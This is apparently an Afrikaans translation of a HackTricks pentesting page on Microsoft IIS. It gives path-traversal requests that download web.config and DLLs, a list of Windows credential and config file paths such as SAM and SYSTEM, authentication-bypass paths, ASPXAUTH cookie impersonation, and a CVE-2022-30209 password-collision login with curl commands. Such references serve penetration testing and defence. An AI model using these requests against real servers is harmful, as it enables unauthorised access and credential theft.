hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services.md

288 lines
16 KiB
Markdown
Raw Normal View History

2024-04-06 18:08:38 +00:00
# IIS - Internet Information Services
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:24:39 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-04-06 18:08:38 +00:00
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
Toets uitvoerbare lêeruitbreidings:
* asp
* aspx
* config
* php
## Interne IP-adres bekendmaking
2024-04-06 18:08:38 +00:00
Op enige IIS-bediener waar jy 'n 302 kry, kan jy probeer om die Host-kop te verwyder en HTTP/1.0 te gebruik en binne die respons kan die Ligging-kop jou na die interne IP-adres wys:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
### Reaksie wat die interne IP blootstel:
2024-04-06 18:08:38 +00:00
Die webbediener stuur 'n HTTP-kop met die interne IP-adres in die `X-Forwarded-For`-veld. Dit kan 'n potensiële veiligheidsrisiko wees, aangesien dit interne netwerkbesonderhede aan aanvallers kan blootstel.
```
2024-02-11 02:07:06 +00:00
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
2024-02-11 02:07:06 +00:00
## Voer .config-lêers uit
Jy kan .config-lêers oplaai en hulle gebruik om kode uit te voer. Een manier om dit te doen is om die kode aan die einde van die lêer by te voeg binne 'n HTML-kommentaar: [Laai voorbeeld hier af](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Meer inligting en tegnieke om hierdie kwesbaarheid te misbruik [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
2024-02-11 02:07:06 +00:00
## IIS Ontdekking Bruteforce
Laai die lys wat ek geskep het af:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
2024-02-11 02:07:06 +00:00
Dit is geskep deur die inhoud van die volgende lyste saam te voeg:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
2024-02-11 02:07:06 +00:00
Gebruik dit sonder om enige uitbreiding by te voeg, die lêers wat dit nodig het, het dit reeds.
## Paddeurdringing
2021-04-01 12:07:26 +00:00
2024-02-11 02:07:06 +00:00
### Uitlek van bronkode
2021-04-01 12:07:26 +00:00
Kyk na die volledige uiteensetting in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
2024-02-08 21:36:15 +00:00
2021-04-01 12:55:58 +00:00
{% hint style="info" %}
As opsomming, daar is verskeie web.config-lêers binne die toepassings se vouers met verwysings na "**assemblyIdentity**" lêers en "**namespaces**". Met hierdie inligting is dit moontlik om te weet **waar uitvoerbare lêers geleë is** en hulle af te laai.\
Van die **afgelaaide Dlls** is dit ook moontlik om **nuwe namespaces** te vind waar jy moet probeer om toegang te verkry en die web.config-lêer te kry om nuwe namespaces en assemblyIdentity te vind.\
2024-04-06 18:08:38 +00:00
Ook kan die lêers **connectionstrings.config** en **global.asax** interessante inligting bevat.\\
2021-04-01 12:55:58 +00:00
{% endhint %}
In **.Net MVC-toepassings** speel die **web.config**-lêer 'n kritieke rol deur elke binêre lêer wat die toepassing op steun deur **"assemblyIdentity"** XML-etikette te spesifiseer.
2024-02-08 21:36:15 +00:00
2024-02-11 02:07:06 +00:00
### **Verkenning van Binêre Lêers**
2021-04-01 12:07:26 +00:00
'n Voorbeeld van die toegang tot die **web.config**-lêer word hieronder getoon:
2021-04-01 12:55:58 +00:00
```markup
2021-04-01 12:07:26 +00:00
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
Hierdie versoek onthul verskeie instellings en afhanklikhede, soos:
2021-04-01 12:07:26 +00:00
2024-04-06 18:08:38 +00:00
* **EntityFramework** weergawe
* **AppSettings** vir webbladsye, klientvalidasie, en JavaScript
* **System.web** konfigurasies vir outentifikasie en tydverloop
* **System.webServer** modules instellings
* **Runtime** samestellings vir verskeie biblioteke soos **Microsoft.Owin**, **Newtonsoft.Json**, en **System.Web.Mvc**
2021-04-01 12:07:26 +00:00
Hierdie instellings dui daarop dat sekere lêers, soos **/bin/WebGrease.dll**, binne die aansoek se /bin vouer geleë is.
2021-04-01 12:07:26 +00:00
2024-02-11 02:07:06 +00:00
### **Hoofgidslêers**
2021-04-01 12:07:26 +00:00
Lêers wat in die hoofgids gevind word, soos **/global.asax** en **/connectionstrings.config** (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die aansoek se konfigurasie en werking.
2021-04-01 12:07:26 +00:00
2024-02-11 02:07:06 +00:00
### **Namespaces en Web.Config**
2021-04-01 12:07:26 +00:00
MVC-aansoeke definieer ook addisionele **web.config-lêers** vir spesifieke namespaces om herhalende verklarings in elke lêer te vermy, soos gedemonstreer met 'n versoek om 'n ander **web.config** af te laai:
2021-04-01 12:55:58 +00:00
```markup
2021-04-01 12:07:26 +00:00
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
2024-02-11 02:07:06 +00:00
### **Aflaai van DLLs**
2021-04-01 12:07:26 +00:00
Die vermelding van 'n aangepaste namespace dui op 'n DLL met die naam "**WebApplication1**" wat in die /bin-gids aanwesig is. Hierna word 'n versoek om die **WebApplication1.dll** af te laai, getoon:
2024-02-08 21:36:15 +00:00
```markup
2021-04-01 12:07:26 +00:00
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
2024-02-11 02:07:06 +00:00
Dit dui op die teenwoordigheid van ander noodsaaklike DLL's, soos **System.Web.Mvc.dll** en **System.Web.Optimization.dll**, in die /bin gids.
2021-04-01 12:07:26 +00:00
In 'n scenario waar 'n DLL 'n naamsruimte invoer genaamd **WebApplication1.Areas.Minded**, kan 'n aanvaller aflei dat daar ander web.config lêers in voorspelbare paaie is, soos **/area-name/Views/**, wat spesifieke konfigurasies en verwysings na ander DLL's in die /bin gids bevat. Byvoorbeeld, 'n versoek na **/Minded/Views/web.config** kan konfigurasies en naamsruimtes blootstel wat dui op die teenwoordigheid van 'n ander DLL, **WebApplication1.AdditionalFeatures.dll**.
2021-04-01 12:55:58 +00:00
### Gewone lêers
2024-02-11 02:07:06 +00:00
Van [hier](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
2024-02-11 02:07:06 +00:00
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
2024-02-11 02:07:06 +00:00
## HTTPAPI 2.0 404 Fout
2024-02-11 02:07:06 +00:00
As jy 'n fout soos die volgende sien:
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Dit beteken dat die bediener **nie die korrekte domeinnaam** binne die Host-kop ontvang het nie.\
Om die webblad te kan besoek, kan jy na die bediende **SSL-sertifikaat** kyk en miskien vind jy die domein/subdomeinnaam daarin. As dit nie daar is nie, moet jy dalk **VHosts kragtig afdwing** totdat jy die regte een vind.
## Oue IIS kwesbaarhede wat die moeite werd is om na te soek
### Microsoft IIS tilde karakter "\~" Kwesbaarheid/Funksie - Kort Lêernaam-/Vouernaam-Openbaarmaking
Jy kan probeer om **vouers en lêers op te som** binne elke ontdekte vouer (selfs as dit Basiese Verifikasie vereis) met behulp van hierdie **tegniek**.\
Die hoofbeperking van hierdie tegniek as die bediener kwesbaar is, is dat **dit slegs tot die eerste 6 letters van die naam van elke lêer/vouer en die eerste 3 letters van die uitbreiding** van die lêers kan vind.
Jy kan [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) gebruik om vir hierdie kwesbaarheid te toets: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../.gitbook/assets/image (841).png>)
2024-02-11 02:07:06 +00:00
Oorspronklike navorsing: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
2024-02-11 02:07:06 +00:00
Jy kan ook **metasploit** gebruik: `use scanner/http/iis_shortname_scanner`
2024-02-11 02:07:06 +00:00
### Basiese Verifikasie omseil
2024-02-11 02:07:06 +00:00
**Omseil** 'n basiese verifikasie (**IIS 7.5**) deur te probeer om toegang te verkry tot: `/admin:$i30:$INDEX_ALLOCATION/admin.php` of `/admin::$INDEX_ALLOCATION/admin.php`
2024-02-11 02:07:06 +00:00
Jy kan probeer om hierdie **kwesbaarheid** en die vorige een te **kombineer** om nuwe **vouers** te vind en die verifikasie te **omseil**.
2024-02-11 02:07:06 +00:00
## ASP.NET Trace.AXD geaktiveerde foutopsporing
2024-02-11 02:07:06 +00:00
ASP.NET sluit 'n foutopsporingsmodus in en sy lêer word `trace.axd` genoem.
Dit hou 'n baie gedetailleerde log van alle versoek wat oor 'n tydperk aan 'n aansoek gedoen is.
Hierdie inligting sluit in afgeleë kliënt-IP's, sessie-ID's, alle versoek- en antwoordkoekies, fisiese paaie, bronkode-inligting, en moontlik selfs gebruikersname en wagwoorde.
2021-03-31 10:21:23 +00:00
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
2021-03-31 10:21:23 +00:00
## ASPXAUTH Koekie
2021-05-02 09:50:46 +00:00
2024-02-11 02:07:06 +00:00
ASPXAUTH gebruik die volgende inligting:
2021-05-02 09:50:46 +00:00
* **`validationKey`** (string): heks-geënkripteerde sleutel om vir handtekeningvalidering te gebruik.
2024-02-11 02:07:06 +00:00
* **`decryptionMethod`** (string): (verstek "AES").
* **`decryptionIV`** (string): heks-geënkripteerde inisialisasievektor (verstel na 'n vektor van nulle).
* **`decryptionKey`** (string): heks-geënkripteerde sleutel om vir dekriptering te gebruik.
2021-05-02 09:50:46 +00:00
Tog sal sommige mense die **verstekwaardes** van hierdie parameters gebruik en as **koekie die e-pos van die gebruiker** gebruik. Daarom, as jy 'n webwerf kan vind wat dieselfde platform gebruik wat die ASPXAUTH-koekie gebruik en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil voorstel, op die aangetaste bediener skep**, kan jy dalk die koekie van die tweede bediener in die eerste een gebruik en die gebruiker voorstel.\
2024-02-11 02:07:06 +00:00
Hierdie aanval het gewerk in hierdie [**verslag**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
2022-04-28 16:01:33 +00:00
## IIS Verifikasie Omseiling met gekaapte wagwoorde (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
2024-04-06 18:08:38 +00:00
[Volledige verslag hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 'n Fout in die kode het **nie behoorlik vir die wagwoord wat deur die gebruiker gegee is, nagegaan nie**, sodat 'n aanvaller wie se **wagwoordhash 'n sleutel tref** wat reeds in die **cache** is, as daardie gebruiker kan aanmeld.
```python
# script for sanity check
> type test.py
def HashString(password):
2024-02-11 02:07:06 +00:00
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:24:39 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
2024-04-06 18:08:38 +00:00
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>